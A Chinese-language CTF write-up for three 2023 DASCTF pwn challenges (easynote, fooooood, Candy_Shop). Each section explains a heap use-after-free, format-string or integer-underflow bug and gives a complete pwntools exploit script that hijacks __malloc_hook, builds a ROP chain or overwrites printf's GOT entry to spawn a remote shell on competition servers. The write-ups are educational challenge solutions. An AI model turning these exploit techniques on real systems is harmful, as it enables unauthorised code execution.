2023 DASCTF-Binary Write Up

PWN By Comentropy

注释:还没复现完捏~,现在只写了三个题。

easynote

题目存在uaf堆溢出,加上libc是2.23的老版本,没有tcache,所以fastbin__malloc_hook即可,唯一需要注意的是onegadget远程满足不了条件,我选择用realloc的gadget调整栈内容,从而满足onegadget的条件,即可拿到shell。

完整exp如下:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from ckyan.pwn.my_script import *

local = 0
debug = 1

binary = "./pwn_2.23"

if binary != "":
    elf = ELF(binary)

if local:
    p = process(binary)
    lib = "/home/ckyan/ctf/myfile/libc/glibc-2.23/build/libc.so.6"
    one_gadgets = [0x40f30, 0x40f35, 0xd3fc8]
else:
    ip = "node4.buuoj.cn"
    port = "26225"
    p = remote(ip, port)
    lib = "./libc-2.23.so"
    one_gadgets = [0x45226, 0x4527a, 0xf03a4, 0xf1247]

init(lib, binary, p)
context = init_context("tmux", debug)

if lib != "":
    libc = ELF(lib)

if debug and local:
    ggdb()

name     = lambda obj : [name for name in globals() if globals()[name] is obj][0]
set_libc = lambda buf : set_libc_base_and_log(name(buf), buf)
lg       = lambda buf : log_addr(name(buf), buf)

unsorted_bin_offset = 88

def cmd(c):
    sla(b'5. exit\n', str(c))

def add(size, content):
    cmd(1)
    sla("The length of your content --->\n", str(size))
    sa(b'Content --->\n', content)

def edit(idx, content, size = 0):
    cmd(2)
    sla(b'Index --->\n', str(idx))
    if size == 0:
        sla(b'The length of your content --->\n', str(len(content)))
    else:
        sla(b'The length of your content --->\n', str(size))
    sa(b'Content --->\n', content)

def dele(idx):
    cmd(3)
    sla(b'Index --->\n', str(idx))

def show(idx):
    cmd(4)
    sla(b'Index --->\n', str(idx))

add(0x80, b'aaaa') # 0
add(0x10, b'aaaa') # 1

dele(0)

# D()

show(0)

__malloc_hook_addr = r7f() - unsorted_bin_offset - 0x10
lg(__malloc_hook_addr)

libc_base = __malloc_hook_addr - libc.sym['__malloc_hook']
libc = set_libc(libc_base)

add(0x80, b'aaaa') # 0

add(0x60, b'aaaa') # 2
add(0x60, b'bbbb') # 3

dele(2)
dele(3)

# 3->2

pad1 = b''
pad1 += p64(__malloc_hook_addr - 35)
edit(3, pad1)

# D()

add(0x60, b'aaaa') # 2

realloc_addr = libc.sym['realloc']

pad4 = b''
pad4 += b'a' * 11
pad4 += p64(libc.address + one_gadgets[2])
pad4 += p64(realloc_addr + 13) # 4 6 8 10 12 13

add(0x60, pad4)

# D()

cmd(1)
sla(b'The length of your content --->\n', "10")

sh()

fooooood

很容易发现格式化字符串,题目只给了三次机会(其实溢出到name还能带着name一起格式化字符串),第一次用来泄露libc和栈地址,本来要泄露elf地址的,但是远程和本地不一样,就打栈算了不打got表了。第二次控制栈的地址,根据一个偏移地址将另一个同样在栈里的地址的值改成循环变量i的地址,这样第三次就可以根据第二个这个偏移就可以改i的值,从而实现多次循环。多次循环就是用同样的方法,覆盖rbp下面的地址,以达到rop即可。

完整exp如下:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from ckyan.pwn.my_script import *

local = 0
debug = 1

binary = "./pwn_2.23"

if binary != "":
    elf = ELF(binary)

if local:
    p = process(binary)
    lib = "./libc-2.23.so"
else:
    ip = "node4.buuoj.cn"
    port = "27044"
    p = remote(ip, port)
    lib = "./libc.so.6"

init(lib, binary, p)
context = init_context("tmux", debug)

if lib != "":
    libc = ELF(lib)

if debug and local:
    ggdb()

name     = lambda obj : [name for name in globals() if globals()[name] is obj][0]
set_libc = lambda buf : set_libc_base_and_log(name(buf), buf)
lg       = lambda buf : log_addr(name(buf), buf)

# %9$p-%11$p-%13$p
'''
        00:0000│ rsp 0x7fff5a34a5c0 ◂— 0x35a34a6b0
        01:0008│     0x7fff5a34a5c8 ◂— 0xbca04e1695830c00
        02:0010│ rbp 0x7fff5a34a5d0 —▸ 0x564d44000b60 (__libc_csu_init) ◂— push r15
%9$p    03:0018│     0x7fff5a34a5d8 —▸ 0x7f62c7b17840 (__libc_start_main+240) ◂— mov edi, eax
        04:0020│     0x7fff5a34a5e0 ◂— 0x1
%11$p   05:0028│     0x7fff5a34a5e8 —▸ 0x7fff5a34a6b8 —▸ 0x7fff5a34b100 ◂— './pwn_2.23'
        06:0030│     0x7fff5a34a5f0 ◂— 0x1c80e6ca0
%13$p   07:0038│     0x7fff5a34a5f8 —▸ 0x564d44000a67 (main) ◂— push rbp
        08:0040│     0x7fff5a34a600 ◂— 0x0
................................................................................................
%25$p   13:0098│     0x7ffc59453a58 —▸ 0x7ffc59453ac8 —▸ 0x7ffc5945413b ◂— 'SHELL=/bin/bash'
................................................................................................
%37$p   1f:00f8│     0x7ffc59453ab8 —▸ 0x7ffc59454100 ◂— './pwn_2.23'
%39$p   21:0108│     0x7ffc59453ac8 —▸ 0x7ffc5945413b ◂— 'SHELL=/bin/bash'
'''

sla(b'Give me your name:', b'aaaa')

# leak
pad1 = b''
pad1 += b'%9$p-%11$p-'
sla("what's your favourite food: ", pad1)

ru(b'You like ')
libc.address  = int(ru(b"-")[:-1], 16) - libc.sym['__libc_start_main'] - 240
stack_address = int(ru(b"-")[:-1], 16) - 0xe0 # &rbp + 8

log_addr("libc_address ", libc.address)
lg(stack_address)

'''
ret = gadget("ret")
pop_rdi_ret = gadget("pop rdi; ret")

lg(ret)
lg(pop_rdi_ret)

[*] INFO ret ==> 0x937
[*] INFO pop_rdi_ret ==> 0x21112
'''
ret = libc.address + 0x937
pop_rdi_ret = libc.address + 0x21112
system_addr = libc.sym['system']
bin_sh_addr = next(libc.search(b'/bin/sh\x00'))

# set value of i is 22
pad2 = b''
pad2 += b'%' + str((stack_address-0x18+4) & 0xffff).encode() + b'c'
pad2 += b'%11$hn'
sla("what's your favourite food: ", pad2)

# D()

pad3 = b''
pad3 += b'%' + str(19).encode() + b'c'
pad3 += b'%37$hn'
sla("what's your favourite food: ", pad3)

# rop
def fmt_payload(target_addr, target_value, offset1 = 25, offset2 = 39):
    for i in range(3):
        pad2 = b''
        pad2 += b'%' + str((target_addr & 0xffff) + (2 * i)).encode() + b'c'
        pad2 += b'%' + str(offset1).encode() + b'$hn'
        sla("what's your favourite food: ", pad2)

        pad3 = b''
        pad3 += b'%' + str((target_value >> (16 * i)) & 0xffff).encode() + b'c'
        pad3 += b'%' + str(offset2).encode() + b'$hn'
        sla("what's your favourite food: ", pad3)

fmt_payload(stack_address, pop_rdi_ret)
fmt_payload(stack_address+8, bin_sh_addr)
fmt_payload(stack_address+16, system_addr)

sh()


'''
00:0000│ rsp 0x7ffc594539c0 ◂— 0x359453ab0
01:0008│     0x7ffc594539c8 ◂— 0x445c15d275ba1700
02:0010│ rbp 0x7ffc594539d0 —▸ 0x55693fe00b60 (__libc_csu_init) ◂— push r15
03:0018│     0x7ffc594539d8 —▸ 0x7f7a02aae840 (__libc_start_main+240) ◂— mov edi, eax
04:0020│     0x7ffc594539e0 ◂— 0x1
05:0028│     0x7ffc594539e8 —▸ 0x7ffc59453ab8 —▸ 0x7ffc59454100 ◂— './pwn_2.23'
06:0030│     0x7ffc594539f0 ◂— 0x10307dca0
07:0038│     0x7ffc594539f8 —▸ 0x55693fe00a67 (main) ◂— push rbp
08:0040│     0x7ffc59453a00 ◂— 0x0
09:0048│     0x7ffc59453a08 ◂— 0xbfd2493228c8beb2
0a:0050│     0x7ffc59453a10 —▸ 0x55693fe00820 (_start) ◂— xor ebp, ebp
0b:0058│     0x7ffc59453a18 —▸ 0x7ffc59453ab0 ◂— 0x1
0c:0060│     0x7ffc59453a20 ◂— 0x0
0d:0068│     0x7ffc59453a28 ◂— 0x0
0e:0070│     0x7ffc59453a30 ◂— 0xeaf884784dc8beb2
0f:0078│     0x7ffc59453a38 ◂— 0xebf433a7f1f8beb2
10:0080│     0x7ffc59453a40 ◂— 0x0
... ↓        2 skipped
13:0098│     0x7ffc59453a58 —▸ 0x7ffc59453ac8 —▸ 0x7ffc5945413b ◂— 'SHELL=/bin/bash'
14:00a0│     0x7ffc59453a60 —▸ 0x7f7a0307f168 —▸ 0x55693fe00000 ◂— jg 0x55693fe00047
15:00a8│     0x7ffc59453a68 —▸ 0x7f7a02e6880b ◂— jmp 0x7f7a02e687e0
16:00b0│     0x7ffc59453a70 ◂— 0x0
17:00b8│     0x7ffc59453a78 ◂— 0x0
18:00c0│     0x7ffc59453a80 —▸ 0x55693fe00820 (_start) ◂— xor ebp, ebp
19:00c8│     0x7ffc59453a88 —▸ 0x7ffc59453ab0 ◂— 0x1
1a:00d0│     0x7ffc59453a90 ◂— 0x0
1b:00d8│     0x7ffc59453a98 —▸ 0x55693fe00849 (_start+41) ◂— hlt
1c:00e0│     0x7ffc59453aa0 —▸ 0x7ffc59453aa8 ◂— 0x1c
1d:00e8│     0x7ffc59453aa8 ◂— 0x1c
1e:00f0│ r13 0x7ffc59453ab0 ◂— 0x1
1f:00f8│     0x7ffc59453ab8 —▸ 0x7ffc59454100 ◂— './pwn_2.23'
20:0100│     0x7ffc59453ac0 ◂— 0x0
21:0108│     0x7ffc59453ac8 —▸ 0x7ffc5945413b ◂— 'SHELL=/bin/bash'
22:0110│     0x7ffc59453ad0 —▸ 0x7ffc5945414b ◂— 'WSL2_GUI_APPS_ENABLED=1'
23:0118│     0x7ffc59453ad8 —▸ 0x7ffc59454163 ◂— 'TERM_PROGRAM_VERSION=3.2a'
24:0120│     0x7ffc59453ae0 —▸ 0x7ffc5945417d ◂— 'WSL_DISTRO_NAME=Ubuntu'
'''

Candy_Shop

题目流程很简单,买糖果和选礼物,礼物限制使用两次,刚好一次泄露libc基地址,一次getshell,在买糖果的时候money只有2,通过整数越界,改money的值为一个大数(写wp的时候发现其实并不需要,可以先leak,然后直接改printf的got表,然后在选礼物getshell即可。),但我懒得改了,就先改money,然后leak libc base,之后打printf的got表,然后getshell。

完整exp如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from ckyan.pwn.my_script import *

local = 0
debug = 1

binary = "./pwn"

if binary != "":
    elf = ELF(binary)

if local:
    p = process(binary)
    lib = "/lib/x86_64-linux-gnu/libc.so.6"
else:
    ip = "139.155.132.59"
    port = "9999"
    p = remote(ip, port)
    lib = "./libc.so.6"

init(lib, binary, p)
context = init_context("tmux", debug)

if lib != "":
    libc = ELF(lib)

if debug and local:
    ggdb()

name     = lambda obj : [name for name in globals() if globals()[name] is obj][0]
set_libc = lambda buf : set_libc_base_and_log(name(buf), buf)
lg       = lambda buf : log_addr(name(buf), buf)

# set money value
sla(b'option: ', b'b')
sla(b'Which one you want to bye: ', b't')
sla(b': ', str(-2))
sla(b': ', b'a' * 0x10)

# leak libc address
sla(b'option: ', b'g')
sla(b'Give me your name: \n', b'%11$p')
ru(b'booooo!!!!\nyou have received a gift:')
libc_base = int(ru(b'\n')[:-1], 16) - 128 - 0x10 - libc.sym['__libc_init_first']
libc = set_libc(libc_base)

# attack printf@got[plt]
sla(b'option: ', b'b')
sla(b'Which one you want to bye: ', b't')
sla(b': ', str(-10))

pad = b''
pad += b'a' * 6
pad += p64(libc.sym['system'])
sla(b': ', pad)

# D()

# get shell
sla(b'----------------\n', b'g')
sla(b'Give me your name: \n', b'/bin/sh\x00')

sh()
updatedupdated2023-06-072023-06-07
加载评论